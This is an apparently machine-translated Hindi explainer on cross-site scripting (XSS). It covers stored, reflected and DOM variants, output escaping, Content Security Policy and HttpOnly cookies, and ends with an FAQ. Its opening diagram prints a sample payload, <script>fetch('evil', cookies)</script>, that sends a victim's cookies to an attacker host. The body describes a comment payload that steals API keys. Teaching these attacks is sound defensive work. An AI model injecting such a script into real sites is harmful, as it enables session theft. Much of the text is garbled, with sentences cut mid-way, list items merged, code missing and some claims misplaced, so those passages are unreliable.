trusted-site.comcomment:<script>fetch('evil', cookies)</script>script runs in victim's browserwith the site's privileges

क्रॉस-साइट स्क्रिप्टिंग (XSS)

11 मिनट पढ़ासुरक्षा

क्रॉस-साइट स्क्रिप्टिंग वह भेद्यता है जहां एक हमलावर जावास्क्रिप्ट को इंजेक्ट करता है जो दूसरे उपयोगकर्ता के ब्राउज़र में चलता है जैसे कि वह वैध साइट का हिस्सा हो। नुकसान सत्र कुकीज़ चुराने से लेकर पीड़ित की ओर से एपीआई कॉल करने तक होता है। XSS दो दशकों से OWASP टॉप 10 में है और इसके जाने का कोई संकेत नहीं दिख रहा है।

संपूर्ण लेख का मुख्य भाग नीचे अंग्रेजी में दिया गया है।

क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरियों का परिवार है जहां एक हमलावर पीड़ित के ब्राउज़र को जावास्क्रिप्ट निष्पादित करने के लिए प्रेरित करता है जो हमलावर से आया था लेकिन विश्वसनीय साइट से आया प्रतीत होता है। क्योंकि ब्राउज़र का मानना ​​है कि स्क्रिप्ट साइट का हिस्सा है, स्क्रिप्ट साइट के विशेषाधिकारों के साथ चलती है - जिसका अर्थ है कि यह कुकीज़ पढ़ सकता है, प्रमाणित अनुरोध कर सकता है, फ़िशिंग पृष्ठों पर रीडायरेक्ट कर सकता है, और उपयोगकर्ता के पास उस साइट पर पहुंच वाले किसी भी डेटा तक पहुंच सकता है।

पोस्ट, प्रोफ़ाइल फ़ील्ड, आदि) और पेज लोड होने पर अन्य उपयोगकर्ताओं को सेवा प्रदान की जाती है। समर्पण एक, पीड़ित अनेक। क्लासिक और सबसे हानिकारक वैरिएंट.
  • Reflected XSS. पेलोड एक यूआरएल पैरामीटर में है और उचित पलायन के बिना पृष्ठ में वापस प्रतिबिंबित होता है। हमलावर को प्रत्येक पीड़ित को एक तैयार किए गए यूआरएल पर क्लिक करने के लिए प्रेरित करना होता है। पैमाने पर कम खतरनाक, लक्षित हमलों के लिए अभी भी गंभीर है। सर्वर कभी भी पेलोड नहीं देखता है।

    • A ने उदाहरण दिया user_comment बढ़िया लेख है! , प्रस्तुत HTML ठीक है। यदि यह है:

     स्क्रिप्ट पीड़ित की एपीआई कुंजियाँ लाती है (क्योंकि ब्राउज़र में सत्र कुकीज़ शामिल होती हैं) और उन्हें हमलावर के सर्वर पर भेज देती है। XSS को उसके शुद्धतम रूप में संग्रहित किया गया - एक टिप्पणी, प्रत्येक आने वाले उपयोगकर्ता ने समझौता किया। 
    XSS क्यों होता रहता है <, >
  • HTML विशेषता मान context - कभी भी अविश्वसनीय इनपुट प्राप्त नहीं करना चाहिए नियम
    • एक एकल टेम्प्लेट जो संदर्भों को मिश्रित करता है (उदाहरण के लिए, किसी विशेषता में उपयोगकर्ता डेटा के साथ एक स्क्रिप्ट टैग) सही से बचना बहुत कठिन बना देता है। डेवलपर्स उचित रूप से मानते हैं कि "एस्केपिंग इसे संभालती है," लेकिन एस्केपिंग को यह जानना होगा कि डेटा किस संदर्भ में आता है। JSX या टेम्प्लेट सिंटैक्स में {{user_comment}} लिखने से एस्केप्ड टेक्स्ट सामग्री उत्पन्न होती है। कच्चे HTML को इंजेक्ट करने के लिए आपको विशिष्ट एस्केप हैच (dangerousSetInnerHTML, v-html, [innerHTML]) का उपयोग करना होगा, जो जानबूझकर बदसूरत हैं। हैंडलबार और ट्विग भी डिफ़ॉल्ट रूप से बच जाते हैं। संपादक)। विशेषताएँ.
    सामग्री सुरक्षा नीति
    CSP एक रक्षा-गहन हेडर है जो ब्राउज़र को बताता है "केवल इन मूल से स्क्रिप्ट निष्पादित करें।" एक सख्त सीएसपी - उदाहरण के लिए, script-src 'self' 'nonce-random123' - इनलाइन स्क्रिप्ट को निष्पादित होने से रोकता है, भले ही हमलावर उन्हें इंजेक्ट करने में कामयाब हो जाए। हमलावर को प्रति-अनुरोध गैर की भी भविष्यवाणी करनी होगी, जो वे नहीं कर सकते।
    सीएसपी उन साइटों के लिए एक बड़ी रक्षात्मक जीत है जो इसे अच्छी तरह से अपनाती हैं। नुकसान: चीजों को तोड़े बिना तैनात करना जटिल है, तृतीय-पक्ष स्क्रिप्ट (एनालिटिक्स, विज्ञापन) नीति को जटिल बनाते हैं, और कई साइटें अनुमेय नीतियों के साथ समाप्त हो जाती हैं जो उद्देश्य को विफल कर देती हैं। 
    XSS हमलावरों को क्या करने देता है ब्राउज़र
  •  पीड़ित के ब्राउज़र से प्रमाणित एपीआई कॉल करें, डेटा को बाहर निकालना या संशोधित करना पेज
  • Phish वैध डोमेन पर पेज सामग्री को नकली लॉगिन फॉर्म से बदलकर इसके पीछे की साइट। लेकिन आप यह कर सकते हैं: पृष्ठ XSS-समझौता किया गया है
  • एक अलग ब्राउज़र प्रोफ़ाइल में संवेदनशील खाते (बैंकिंग, ईमेल) चलाएँ

    • अक्सर पूछे जाने वाले प्रश्नों

    क्या XSS अभी भी प्रासंगिक है?
    हाँ। OWASP के हालिया सर्वेक्षण लगभग हर वेब एप्लिकेशन में XSS दिखाते हैं। आधुनिक ढाँचों ने आवृत्ति कम कर दी है, लेकिन पुराने ऐप्स, कस्टम कोड और एज मामलों की लंबी श्रृंखला XSS को सबसे अधिक रिपोर्ट की जाने वाली वेब कमजोरियों में से एक रखती है। बग बाउंटी प्लेटफ़ॉर्म प्रति सप्ताह सैकड़ों XSS रिपोर्ट देखते हैं।
    XSS और CSRF में क्या अंतर है?
    XSS साइट के विशेषाधिकारों के साथ क्रियान्वित करते हुए, विश्वसनीय साइट में दुर्भावनापूर्ण कोड इंजेक्ट करता है। सीएसआरएफ (क्रॉस-साइट रिक्वेस्ट फोर्जरी) पीड़ित के सत्र का उपयोग करके, पीड़ित के ब्राउज़र को एक अलग मूल से विश्वसनीय साइट पर अनुरोध करने के लिए प्रेरित करता है। वे सुनने में एक जैसे लगते हैं लेकिन उनके तंत्र और सुरक्षा अलग-अलग हैं।
    क्या HttpOnly कुकी XSS से रक्षा करती है?
    आंशिक रूप से। HttpOnly जावास्क्रिप्ट को document.cookie के माध्यम से कुकी को पढ़ने से रोकता है, कुकी-एक्सफिल्ट्रेशन हमलों को हरा देता है। XSS पेलोड अभी भी प्रमाणित अनुरोध कर सकता है क्योंकि ब्राउज़र स्वचालित रूप से कुकी भेजता है - Httpकेवल क्षति के एक विशिष्ट वर्ग को रोकता है, व्यापक हमले को नहीं।
    क्या कोई CSP XSS को पूरी तरह ख़त्म कर सकता है?
    एक सख्त सीएसपी (गैर-आधारित, कोई 'असुरक्षित-इनलाइन' या 'असुरक्षित-इवल' नहीं) सिल्वर बुलेट के सबसे करीब है। यह स्वयं इंजेक्शन को नहीं रोकता है, लेकिन यह इंजेक्ट किए गए पेलोड को निष्पादित होने से रोकता है। एप्लिकेशन में आउटपुट से बचने के साथ, सख्त सीएसपी व्यावहारिक XSS शोषण को बहुत कठिन बना देता है।
    क्या स्थैतिक साइटें प्रतिरक्षित हैं?
    पूरी तरह से नहीं. DOM-आधारित XSS अभी भी स्थिर साइटों पर काम करता है यदि उनका क्लाइंट-साइड JS URL पैरामीटर का असुरक्षित रूप से उपयोग करता है। बिना जावास्क्रिप्ट वाली शुद्ध-HTML साइटों में XSS नहीं होता है। अधिकांश आधुनिक "स्थैतिक साइटें" पर्याप्त जावास्क्रिप्ट का उपयोग करती हैं जिससे XSS एक संभावित (हालांकि दुर्लभ) समस्या है।
    क्रॉस-साइट स्क्रिप्टिंग (XSS) की व्याख्या: प्रत्येक वेब ऐप के अंदर की भेद्यता